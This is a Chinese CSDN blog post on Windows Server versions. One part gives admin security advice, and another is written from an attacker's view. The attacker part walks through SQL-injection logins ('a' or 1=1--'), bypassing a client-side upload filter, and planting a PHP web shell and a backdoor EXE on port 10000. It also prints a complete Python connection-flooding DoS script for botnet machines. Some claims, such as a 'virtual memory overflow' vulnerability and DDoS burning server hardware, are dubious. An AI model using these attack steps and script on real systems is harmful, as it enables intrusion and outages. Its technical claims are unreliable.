用WinServer?第一步,得看版本!

这次文章我使用了两面的方式,第一面是站长,第二面是攻击者(黑客),通过不同的角度,来模拟这个事件。

第一面:站长

Windows Server 2008停止支持

“停止支持”就是指Windows版本不会再接到安全更新,这意味着许多危险的漏洞一旦被黑客发现,只能乖乖被打。

但虽然Microsoft放弃WinServer2008(R2),其他的安全供应商和防病毒产品却没有放弃。更多的软件运营而出,其中就有一个软件“WinServer2008安全卫士”专门为WinServer2008打造,修复那些安全漏洞。
通常黑客入侵网站貌似都是靠网站脚本的漏洞(XSS/SQL等)拿到网站的管理权,但其实一些很高深的黑客,大多都是靠系统漏洞拿到整个操作系统的管理权。一些技术很高的黑客,甚至拿到操作系统权后,还要拿到硬件控制权(MBR木马,伪操作系统命令CPU/硬盘等),让整台服务器归他所有。
这听起来让我们站长毛骨悚然,但其实这一切背后都有解决的方案。

第一种场景:准备买服务器了?

如果你需要购买云服务器,一定要认好厂商。我这里不是打广告,而是真的推荐各位去类似阿里云、腾讯云、百度云这些大的供应商购买,这样安全会有一些保障(我之前遇到一个,买了一台云服务器,在X宝云买的,结果那家供应公司倒闭了,服务器凉凉…………)。
选择好供应商后,就得选配置了。

网站静态网站动态网站操作系统
企业官网4H2G5M60GB4H4G10M80GBWindows Server 2012 R2
个人主页1H1G1M40GB1H4G2M40GBWindows Server 2008 R2(不考虑安全,因为配置问题)
游戏网页4H4G50M100GB8H16G50M120GBWindows Server 2016
社交网站8H8G20M60GB8H8G30M80GBWindows Server 2012 R2

如果你准备买物理服务器,请你务必注意以下配置:

可用CPU硬盘内存散热
Good8HAMD 1.5GHz↑40GB↑8GB物理 8.5GB虚拟↑液柱降温
OK4HAMD1.5GHz↑30GB↑4GB物理 6GB虚拟↑风扇降温
Oh no2HARM1.5GHz↓20GB↓2GB物理 0GB虚拟↓无降温工具

(* Good表示很好,OK表示可以,Oh no表示买了就吃亏了)
(* ↑表示以上,↓表示以下)

第二种场景:准备更新系统?

因为2008的终结,许多服务器都需要更新系统了。例如政府服务器(据我所知,我所在地的政府机关用的服务器竟然是2000…)
那么,不同版本的服务器该如何升级到适合的版本呢?

如果你是Windows Server 2000(R2)

必须升级了,因为Server 2000的漏洞简直是惨不忍睹。用Fluxay工具一扫2000,几乎一抓一大把致命BUG。
升级方式:
第一步,备份网站文件以及对系统内重要的文件,存在U盘(或其他硬盘)当中。(如果你是云服务器,则备份至云储存,例如阿里的OSS)
第二步,下载适合你服务器的镜像并安装。(云服务器可使用重装系统功能)

配置可用系统
1H1G1M20GB以下Windows Server 2012 核心版本(GUI如果安装则会从出现安装不上
1H1G1M40GB以上Windows Server 2012 GUI/核心版本、Windows Server 2016核心版本

第三步,安装后远程连接服务器,并且下载云储存或复制硬盘的文件到服务器,配置Apache/Nginx/IIS,并启动服务即可。

如果你是Windows Server 2008(R2)

你可以选择升级,因为Server 2008虽然已停止支持,但是目前为止2008还不是太严重,不过建议升级。用Fluxay工具一扫2008,没扫出太多致命漏洞。
升级方式:
第一步,备份网站文件以及对系统内重要的文件,存在U盘(或其他硬盘)当中。(如果你是云服务器,则备份至云储存,例如阿里的OSS)
第二步,下载适合你服务器的镜像并安装。(云服务器可使用重装系统功能)

配置可用系统
1H1G1M20GB以下Windows Server 2012 核心版本(GUI如果安装则会从出现安装不上
1H1G1M40GB以上Windows Server 2012 GUI/核心版本、Windows Server 2016核心版本

第三步,安装后远程连接服务器,并且下载云储存或复制硬盘的文件到服务器,配置Apache/Nginx/IIS,并启动服务即可。

第三种场景:服务器总是被攻击导致服务停止?

如果你用的是已经不受支持的系统,推荐更新系统。请参阅“第二种场景:准备更新系统?”
如果你用的是最新版或正在支持的系统,则需要考虑维护服务器漏洞和网站。下载安全狗软件,修复服务器安全漏洞以及扫描网站漏洞和木马(例如一句话、加密后门),并开启服务器防御模式,可有效对付攻击。
但很多攻击者会绕狗(就是躲避安全狗),这又是一个难题。遇到这种情况,如果你是技术人员,则可以尝试手动防御。如果你是一个代码一窍不通的站长,则只好下载一系列的安放软件尝试防御了。

手动防御

如果你遭遇了DDoS/CC攻击

下载抓包软件,检测是哪个IP对你进行了大量的连接。找到后,如果是公网IP,则可以利用安全狗🈲IP,如果是内网IP(因为对方没有公网IP,则显示内网分配的IP),则最好不要禁止,因为有些网站访问者可能被分配到了一样的内网IP,这样会导致普通用户无法访问网站。
如果是后面的情况,则继续阅读以下内容。

内网攻击者防御

内网攻击者一般都是普通的小黑客测试,例如读了我的文章Python3实现DDoS,想试一试。可是没想到造成了如此后果。
遇到内网攻击者,我们可以尝试:
暂时关闭网站,可能对方只是一时兴起,一段时间后便会风平浪静。
在站点上公布信息,劝告对方停止攻击。
联系网警并咨询方案,网警会帮助你防护并让对方受到一定的法律措施。
如果以上方法都不管用,那么我们要做的只有一个了:
继续防护。
找到内网攻击者IP,确认对方攻击的规律,并且确认对方有多少机器同时在进行攻击。明了后,再检查对方攻击的连接类型以及端口,如果是TCP/UDP连接,并且是80或443端口,则继续往下读。如果不是80/443端口,则可禁止此端口通过即可。(80/443是不固定的,按照你网站的端口来)

更深防御

暂时关闭网站服务,并且申请闭站保护。申请完毕后,则可开始防御。
我们已经明白了对方的发包/连接规律,互联网中的连接一般都是携带信息的,利用抓包软件查看其中的信息,如果是一些从网上复制的代码,这里面的信息一般都是一些啥Test啊,Hacker啊一系列的。找到这些信息后,将其复制,利用脚本,每个连接检查包中是否包含此内容,如果有,那么1分钟内禁收此类型的包(封掉此类型的包),一段时间后,应该会有好转。

如果你遭遇了病毒/木马的攻击

下载防病毒产品扫描并删除病毒/木马。
如果防病毒软件无法启动,则可使用以下办法:
先打开CMD,输入tasklist,记录下来。
设置EXE文件打开方式为记事本,这样病毒运行时只会打开记事本程序。而这样却又阻碍了Windows辅助程序的运行,所以我们是打不开资源浏览器的。
我们利用搜索栏搜索到CMD,然后输入tasklist,检查不正常的进程,终止它。(taskkill /IM xxx.exe)
终止后,我们需要找到此文件。恢复EXE打开方式为默认(CMD:ftype exefile="%1" %*),然后打开文件资源管理器,搜索此文件并强制删除。如果无法删除,例如显示与某类型文件或系统文件捆绑,则可以尝试进入安全模式后删除。删除后,根据网络教程修改注册表即可恢复正常。
恢复后,别忘使用安全软件再次杀毒!

如果你的系统经常莫名其妙弹出CMD弹窗或执行命令

你很可能中了病毒或木马!
木马和病毒清除方法如上,但还有一种情况,就是……
中了一句话木马!
寻找WWW根目录下的不正常文件,打开后检查内容是否是正常程序,如果不是,则立刻删除。

第二面:攻击者

利用Windows漏洞攻击是一种很深奥的攻击方式,例如Wnuke黑客软件,就是利用Win2000/XP/Server 2000-2008的缓冲区漏洞来实现攻击的。
我们可以利用漏洞扫描器扫描到漏洞,然后利用此漏洞进行攻击。但大多数情况下,我们对一些陌生的漏洞的了解是比较少的,所以我们可以百度此漏洞,如果可以找到,就根据网上的教程进行入侵就可以了。
这里我收集了2个常见的老版本Windows漏洞,并列举了攻击方式。

No.1 WinServer2008R2强制连接端口漏洞

Windows Server 2008 R2的漏洞还是很多的,例如远程桌面连接漏洞、强制连接端口漏洞等。今天我们就来讲这个强制连接端口漏洞。(利用一点点网站漏洞)

强制连接端口

强制连接端口漏洞主要是Net Use方面,Net Use共享是一个很实用的功能。我们可以利用文件管理器实现Net Use,也可以利用CMD命令提示符。
CMD命令提示符:

此命令的语法是:
NET USE
[devicename | *] [\\computername\sharename[\volume] [password | *]]
        [/USER:[domainname\]username]
        [/USER:[dotted domain name\]username]
        [/USER:[username@dotted domain name]
        [/SMARTCARD]
        [/SAVECRED]
        [/REQUIREINTEGRITY]
        [/REQUIREPRIVACY]
        [/WRITETHROUGH]
        [[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE {devicename | *} [password | *] /HOME

NET USE [/PERSISTENT:{YES | NO}]

NET USE 将计算机连接到共享资源
或将计算机与共享资源断开连接。使用时如果没有选项,它会列出
计算机的连接。

devicename       分配一个名称以连接到资源,或指定
                 要断开连接的设备。有两种
                 设备名称: 磁盘驱动器(D: 至 Z:)和打印机
                 (LPT1: 至 LPT3:)。键入星号而不是
                 特定设备名称以分配下一个可用
                 设备名称。
\\computername   为控制共享资源的计算机
                 的名称。如果计算机名包含空白字符,
                 则用引号(" ")将双反斜杠(\\)和计算机名
                 括起来。计算机名的长度可以为
                 1 至 15 个字符。
\sharename       为共享资源的网络名称。
\volume          指定服务器上的 NetWare 卷。必须已安装并正在运行
                 Netware 客户端服务(Windows Workstations)
                 或 Netware 网关服务(Windows Server)
                 才能连接到 NetWare 服务器。
password         为访问共享资源所需的密码。
*                产生密码提示。在密码提示处
                 键入密码时不显示密码。
/USER            指定进行连接的另一个
                 用户名。
domainname       指定其他域。如果忽略域,
                 则使用当前登录的域。
username         指定登录所使用的用户名。
/SMARTCARD       指定连接将使用智能卡上
                 的凭据。
/SAVECRED        指定要保存用户名和密码。
                 该开关将被忽略,除非命令提示输入用户名
                 和密码。
/HOME            将用户连接到他们的主目录。
/DELETE          取消网络连接并
                 从持续连接列表中删除该连接。
/REQUIREINTEGRITY
                 需要签名的共享连接。如果提供程序
                 不支持签名连接,则操作将失败。
/REQUIREPRIVACY  需要加密的共享连接。如果提供程序
                 不支持加密连接,则操作将失败。

/PERSISTENT      控制持续网络连接的使用。
                 默认为上次使用的设置。
YES              进行连接时将它们保存,并在下次
                 登录时将它们恢复。
NO               不保存正在进行的连接或随后的
                 连接;下次登录时将恢复
                 现有连接。使用 /DELETE 开关删除
                 持续连接。

NET HELP 命令 | MORE 显示帮助,一次显示一屏。

通过Net Use连接对方,是需要密码的。可惜我们不知道Windows Server 2008 R2主机的密码。但是一个漏洞可以帮助我们。

端口扫描

扫描Windows Server 2008 R2后:
[+] 21 open
[+] 23 open
[+] 55 open
[+] 80 open
[+] 81 open
[+] 88 open
[+] 888 open
[+] 8000 open
[+] 8888 open
[+] 8900 open
[+] 9000 open
[+] 10000 open
[+] 10020 open
[+] 30122 open
[*] The scan is complete!
[*] A total of 14 open port
(这个结果不一定一致,因为某些管理员关闭了一些端口。但Windows Server 2008 R2某些版本因为一些原因默认开启了很多端口,并且这些端口都是空闲状态)
这些端口我们可以用来部署一个木马程序,我们可以利用Python写一个针对端口开放的木马,并且依靠网站漏洞上传。
我们可以选择端口:10000

利用网站后台上传漏洞上传EXE程序和一句话木马

他们是PHP5.2+MySQL5的网站,后台界面没有进行严格的SQL防护,但’or’=‘or’漏洞的万能密码却被过滤了。测试了29个’or’=‘or’万能码,都被红字弹窗打回。再次尝试注入:
UserName:admin#
PassWord:–
成功进入!
进入后用户名为AD_Admin,看来是我用户名搞错了!
注销后再次尝试注入:
UserName:AD_Admin
PassWord:a’ or 1=1–
成功进入………………(我真是……)
进入后,找一找上传文件的页面,竟然没有。只好找其他上传图片的页面,发现一个“上传首页滚动横幅”的选项,赶紧打开看看,结果限制上传.jpg/.png图片,思考半天,按了一个F12看看,没想到网站竟然是靠AJAX+javascript+PHP实现的上传!找到这里,JavaScript里有这么一段语句(已探过,是纯净态的页面传给do_picture.php):

...
if(filename.indexOf('png') !=-1 || filename.indexOf('jpg') !=-1){
	...
}
...

把这个If删了!(偷偷地笑容)
删掉后上传一句话木马,成功上传。(没想到有人这么傻,在JavaScript里判断文件后缀)
上传后忽然发现不知道文件路径在哪,忽然想起来首页不是有图片吗!赶紧到首页去看看,首页上有一个破碎的图片(无效图片),复制链接,果然是我的一句话木马。
利用菜刀将PHP一句话换到C:\Windows\目录下,继续弄。
弄好后,再利用后台漏洞上传另一个滚动横幅,是一个自己写的监听10000端口的EXE木马,并且与sys文件绑定。上传后找到路径,利用PHP一句话移动都C:\Windows目录下,完美。
运行程序,并且用自己写的客户端连接服务器,成功!
致此,强制连接案例成功。

No.2 Windows Server 2012 R2漏洞

这个嘛,毕竟是Microsoft还在更新的版本,所以漏洞不多。但是毕竟还是有不少的!所以赶紧尝试尝试……

利用Windows Server 2012 R2的溢出漏洞快速崩溃对方服务

“分布式拒绝服务攻击”(DDoS)大家都听过。那么DDoS的原理可以这么理解:
不断向你扔苹果,最后你接不住了,苹果撒了,人累瘫了。
但是,DDoS的攻击流程是如何的?看一下我的网站遭遇DDoS后的详细信息:

时间消耗状态
2020-7-2919GB流量 2GB运存已满80% CPU100%运行堵塞
2020-7-3040GB流量 2GB运存全满 CPU100%服务崩溃
2020-8-10109.02GB流量 2GB运存全满 虚拟内存3GB CPU100%服务崩溃,服务器界面卡死
2020-8-19201.29GB流量 2GB运存全满 虚拟内存20GB CPU100%服务器硬件过热损坏

简简单单的DDoS竟有这么大的能力!还能让我服务器硬件过热!(毕竟很正常,服务器超负荷了,硬件自然……)
那么我们今天利用Windows Server 2012 R2的“虚拟内存溢出”漏洞,让Windows Server 2012 R2的“硬盘爆满”“内存爆炸”“CPU100%”“硬件烧烂”吧!

DDoS攻击?需要肉鸡!

首先确保你有不少于100台肉鸡(傀儡),否则很难成功!

全部肉鸡发动DoS攻击组成DDoS

Python脚本:(可以PyInstaller打包后放到肉鸡上)

import socket
import time
import threading
#Pressure Test,ddos tool

#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
 
socks=[]
 
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf.encode())
            #print ("Send buf OK!,conn=%d\n"%i)
            socks.append(s)
        except Exception as ex:
            #print ("Could not connect to server or send error:%s"%ex)
            time.sleep(10)
#end def
 
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
                #print "send OK!"
            except Exception as ex:
                #print ("Send Exception:%s\n"%ex)
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def
 
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
 
conn_th.start()
send_th.start()

(注意修改参数)
打包后让所有虚拟机运行此脚本(打包注意-w参数),即可发动DDoS攻击。我们看一下Servre 2012 R2的状态:

时间消耗状态配置
2020-8-20 05:02:1016G运存已满10% CPU30%(共16H,4核正在超负荷工作) 虚拟内存已2GB正常运行16H16G (虚20G) 10M 29GB/40GB硬盘
2020-8-20 09:19:2116GB运存已满89% CPU80%(共16H,12H正在超负荷工作) 虚拟内存已12GB运行缓慢16H16G(虚20G) 10M 39GB/40GB(硬盘要满了!!!)
2020-8-20 10:20:1016GB运存全满 CPU100%(共16H,16H正在超负荷工作) 虚拟内存已13GB系统已崩溃,储存空间/运存 不足16H16G(虚20G) 10M 40GB/40GB(硬盘满了,系统无法读取写入日志,导致崩溃。并且内存也满了)

你可以很期待服务器硬件“爆炸”的那一刻。但抱歉,我不想这么做。因为这是我的服务器啊……
已经看到了,如果你的Windows Server 2012 R2的配置过高,并且你设置了虚拟内存很大,很可能在遭遇DDoS的时候让虚拟内存瞬间占满全盘。而Microsoft的Server系列里貌似没有检测硬盘是否不足的功能,如果硬盘不足,应该停止虚拟内存的使用,或直接尝试重启,而不是像傻子一样不断的祸害硬盘小哥……

漏洞说明

此漏洞是个人研究发现的。因为MicrosoftServer设置虚拟内存时推荐设置比自己运存大一点儿的,所以硬盘空间就有可能在超负荷时,全部变满。因为Windows Server里没有这种代码:

...
if(hard_disk_space<10GB){
	windows.virtual_memory.stop();
	windows.warning(title="Windows 警告",content="储存空间不足,虚拟内存已停止读写。",button1="确认");
}
else{
	...
	windows.virtual_memory.read(xx,xx);
	...
	windows.virtual_memory.write(xx,xx);
	
}
...

(本段代码纯属虚构)
如果有这段代码,那么Windows肯定会及时检测虚拟内存是否过大,并且硬盘空间是否充足。如果不充足,那么就停止。这样下去,硬盘里的虚拟内存就会溢出,导致整块硬盘储存溢出崩溃。

总结

Windows Server的版本一定要选好,并且要根据自己的情况来选择。
攻击者也一定要了解windows server版本,并找到适当的漏洞来攻击。这样攻击,就会事半功倍。
感谢阅读,下期再见!

  • 1
    点赞
  • 0
    评论
  • 1
    收藏
  • 打赏
    打赏
  • 扫一扫,分享海报

参与评论 您还未登录,请先 登录 后发表或查看评论
©️2022 CSDN 皮肤主题:黑客帝国 设计师:我叫白小胖 返回首页

打赏作者

tiantian520_tt

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值